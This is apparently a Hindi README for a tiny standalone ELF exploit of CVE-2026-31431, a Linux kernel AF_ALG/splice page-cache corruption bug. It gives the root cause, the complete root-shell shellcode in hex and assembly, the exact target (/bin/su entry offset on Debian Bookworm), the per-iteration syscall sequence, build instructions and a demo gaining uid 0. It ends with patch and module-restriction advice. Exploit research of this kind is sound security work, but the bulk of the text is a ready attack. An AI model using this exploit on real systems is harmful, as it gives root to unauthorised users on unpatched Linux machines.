
न्यूनतम 587-बाइट स्थैतिक ELF एक्सप्लॉइट CVE-2026-31431 के लिए, जो AF_ALG splice पेज कैश भ्रष्टाचार के माध्यम से स्थानीय विशेषाधिकार वृद्धि प्राप्त करता है। कोई libc या रनटाइम निर्भरता नहीं।
मुझे यह बग नहीं मिला। श्रेय Xint Code / Theori को जाता है।
यह रिपोजिटरी एक्सप्लॉइट को यथासंभव छोटा बनाने का मेरा प्रयास है - एक हाथ से बनाया गया x86_64 ELF जो पूरा LPE सिर्फ 587 बाइट्स में करता है। कोई libc नहीं, कोई लिंकर नहीं, कोई रनटाइम नहीं। सिर्फ NASM और जिद।
प्रभाव में, कर्नेल AF_ALG + splice के माध्यम से आपको किसी भी पठनीय फ़ाइल के पेज कैश में एक राइट प्रिमिटिव देता है। इसे setuid बाइनरी के एंट्री पॉइंट पर इंगित करें, शेलकोड लिखें, बाइनरी exec करें, रूट।
आकार के संदर्भ के लिए: मूल पब्लिक कॉपी फेल पोस्ट में 732 बाइट्स मापा गया एक छोटा Python संस्करण शामिल था। यह बेहद शानदार है, लेकिन यह फिर भी Python रनटाइम की उपस्थिति पर निर्भर करता है। इससे छोटा फिर से https://kopy.fail है जो 524 बाइट्स का है। यह वाला हालांकि एक रॉ स्टैटिक ELF है: कोई इंटरप्रेटर नहीं, कोई libc नहीं, कोई लिंकर नहीं, कोई डायनामिक लोडर नहीं। (मेरी माँ कहती हैं यह कूल है)
| CVE | CVE-2026-31431 |
| बग वर्ग | splice aliasing के माध्यम से पेज कैश भ्रष्टाचार |
| मूल कारण | af_alg_sendpage / splice into AEAD request पेज कैश पेजों को crypto scatter-gather आउटपुट में alias करता है |
| घटक | crypto/af_alg.c + crypto/algif_aead.c |
| प्रभाव | किसी भी पठनीय फ़ाइल के पेज कैश में नियंत्रित बाइट्स लिखना |
| आवश्यकता | स्थानीय उपयोगकर्ता, सुलभ AF_ALG/AEAD समर्थन, पठनीय setuid लक्ष्य |
| एक्सप्लॉइट | 587-बाइट स्टैटिक ELF (x86_64), एकल फ़ाइल, शून्य निर्भरताएँ |
AF_ALG यूज़रस्पेस को सॉकेट्स पर कर्नेल क्रिप्टो करने देता है। AEAD सिफर जैसे
authencesn के लिए, कर्नेल MSG_MORE के साथ sendmsg के माध्यम से डेटा स्वीकार करता है, फिर आप
फ़ाइल डिस्क्रिप्टर से अधिक डेटा splice कर सकते हैं।
शापित हिस्सा: जब आप किसी फ़ाइल को splice करते हैं, तो कर्नेल फ़ाइल के पेज कैश पेजों को सीधे क्रिप्टो scatter-gather सूची में पिन करता है। AEAD ऑपरेशन फिर अपना आउटपुट उन्हीं पेजों में वापस लिखता है। कर्नेल सोचता है कि उसने क्रिप्टो को एक रीड बफर दिया है। क्रिप्टो सोचता है कि उसे एक राइट बफर मिला है। कोई कॉपी नहीं करता।
आप AAD मेटाडेटा के रूप में जो बाइट्स फीड करते हैं वे पेज कैश के माध्यम से दिखाई देते हैं। उस फ़ाइल का कोई भी बाद का रीड - किसी भी प्रक्रिया द्वारा, किसी भी उपयोगकर्ता द्वारा, suid exec सहित - भ्रष्ट डेटा देखता है। डिस्क पर मौजूद फ़ाइल अछूती रहती है। केवल इन-मेमोरी पेज कैश दृश्य बदलता है।
कॉपी फेल पेज-कैश/COW परिवार का अभिशाप है जो AF_ALG के रूप में प्रकट होता है। डर्टी COW (CVE-2016-5195) के समान वंश - "कर्नेल ने आपको कुछ ऐसा लिखने दिया जो आपको केवल पढ़ने में सक्षम होना चाहिए" - लेकिन madvise/write रेसिंग के बजाय क्रिप्टो splice पथ के माध्यम से।
लक्ष्य: Debian Bookworm पर /bin/su (kernelCTF rootfs सहित)। ELF एंट्री
पॉइंट फ़ाइल ऑफसेट 0x3910 पर स्थित है।
28 बाइट्स का शेलकोड इसे रूट शेल ड्रॉपर में बदल देता है:
; setuid(0) - 7 बाइट्स
31 ff xor edi, edi
6a 69 push 105
58 pop rax
0f 05 syscall
; execve("/bin/sh", NULL, NULL) - 21 बाइट्स
99 cdq
31 f6 xor esi, esi
48 bb 2f 62 69 6e 2f 73 68 00 movabs rbx, "/bin/sh\0"
53 push rbx
54 push rsp
5f pop rdi
6a 3b push 59
58 pop rax
0f 05 syscall
AEAD प्रिमिटिव आपको केवल 4 बाइट्स प्रति ऑपरेशन देता है - AAD का एक 32-बिट चंक splice ऑफसेट पर आता है। 28 बाइट्स शेलकोड ÷ 4 = कर्नेल क्रिप्टो स्टैक के माध्यम से 7 चक्कर। प्रत्येक पुनरावृत्ति:
socket(AF_ALG) + authencesn(hmac(sha1),cbc(aes)) के साथ bindsetsockoptacceptMSG_MORE के साथ sendmsg - 8-बाइट iov में 4 बाइट्स AAD फिलर + 4 बाइट्स शेलकोड होते हैं/bin/su से अनुरोध fd में splice (पेज कैश पेजों को स्थित करता है)recvfrom - AEAD प्रोसेसिंग ट्रिगर करता है, पेज कैश को भ्रष्ट करता हैसभी 7 पुनरावृत्तियों के बाद, execve("/bin/su")। कर्नेल इसे भ्रष्ट
पेज कैश से लोड करता है। निष्पादन अधिलेखित एंट्री पॉइंट पर कूद जाता है। रूट
शेल।
कुल 587 बाइट्स। इनमें से 120 ELF हेडर हैं (कर्नेल आपको इसके बिना लोड नहीं करेगा), इसलिए वास्तविक एक्सप्लॉइट लॉजिक 467 बाइट्स मशीन कोड + डेटा है।
यहाँ बताया गया है कि ELF हेडर में चीज़ें कहाँ रहती हैं:
Offset Field वास्तविक उपयोग
------ ----- ----------
0x00 e_ident[0:8] magic + ELF class (अनिवार्य)
0x08 e_ident[8:16] क्रिप्टो कुंजी सामग्री (कर्नेल इन बाइट्स को अनदेखा करता है)
0x28 e_shoff "/bin/su\0" स्ट्रिंग (कर्नेल ET_EXEC के लिए अनदेखा करता है)
कर्नेल केवल e_ident[0:7], e_type, e_machine, e_entry,
e_phoff, e_phnum, और phdr को देखता है। बाकी सब कुछ मुफ्त रियल एस्टेट है।
अन्य आकार तरकीबें:
push imm8 / pop rax / syscall के रूप में एन्कोडेड (प्रत्येक 3 बाइट्स)पहला काम करने वाला संस्करण 584 बाइट्स का था। इसने दूसरे splice कॉल के लिए mov ax, 275 का उपयोग किया
(mov eax, 275 से 2 बाइट्स छोटा)। यह जुआ है कि पहला splice हमेशा सफल होता है -
यदि यह नकारात्मक त्रुटि लौटाता है, तो rax के ऊपरी 48 बिट सेट रहते हैं, और mov ax, 275 केवल निचले 16 को अधिलेखित करता है। फिर दूसरा splice syscall नंबर कचरा होता है।
मेरे टेस्ट कर्नेल पर यह हमेशा काम करता था। लेकिन "टेस्टिंग में हमेशा काम करता है" बग भेजने का एक बुरा कारण है, और अगर कोई इसे ऐसे सिस्टम पर हिट करता है जहाँ splice मेमोरी दबाव में EAGAIN लौटाता है, तो एक्सप्लॉइट बिना किसी संकेत के segfault करता है कि क्या गलत हुआ। 3 अतिरिक्त बाइट्स खाए।
अंतिम execve से पहले xor esi, esi भी जोड़ना पड़ा क्योंकि recvfrom
rsi को बफर एड्रेस के साथ क्लोबर करता है। इसके बिना, execve को कचरा argv पॉइंटर मिलता है।
एक और बाइट।
nasm -f bin -o copy_fail_v3 copy_fail_v3.asm && chmod +x copy_fail_v3
NASM की आवश्यकता है। एक्सप्लॉइट बाइनरी सीधे उत्पन्न करता है - कोई लिंकिंग चरण नहीं।
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ ./copy_fail_v3
# id
uid=0(root) gid=0(root) groups=0(root)
एक सेकंड से भी कम समय लेता है। सफलता पर कोई आउटपुट नहीं - बस एक रूट शेल।
CONFIG_CRYPTO_USER_API_AEAD (बिल्ट-इन या लोडेड मॉड्यूल) और
algif_aead में अनफिक्स्ड इन-प्लेस splice पथ की आवश्यकता है। खराब कोडपाथ 2017 के
ऑप्टिमाइज़ेशन से जुड़ा है। अपने डिस्ट्रो के कर्नेल कॉन्फ़िग और पैच स्थिति की जाँच करें।
फिक्स इन-प्लेस पथ को मारता है और splice स्रोत पेजों को क्रिप्टो scatter-gather सूची में alias करने के बजाय उन्हें कॉपी करता है। पेज कैश अलगाव बहाल हो जाता है।
यह एक KernelCTF/लैब आर्टिफैक्ट है। इसे उन सिस्टमों पर चलाएँ जिनके आप मालिक हैं या जिनके परीक्षण की स्पष्ट अनुमति है। यदि आप Linux बॉक्स की रक्षा कर रहे हैं, तो कर्नेल को पैच करें या AF_ALG/algif_aead मॉड्यूल लोडिंग को प्रतिबंधित करें।
Daniel Wade - GitHub · Twitter/X · Bluesky · nadsec.online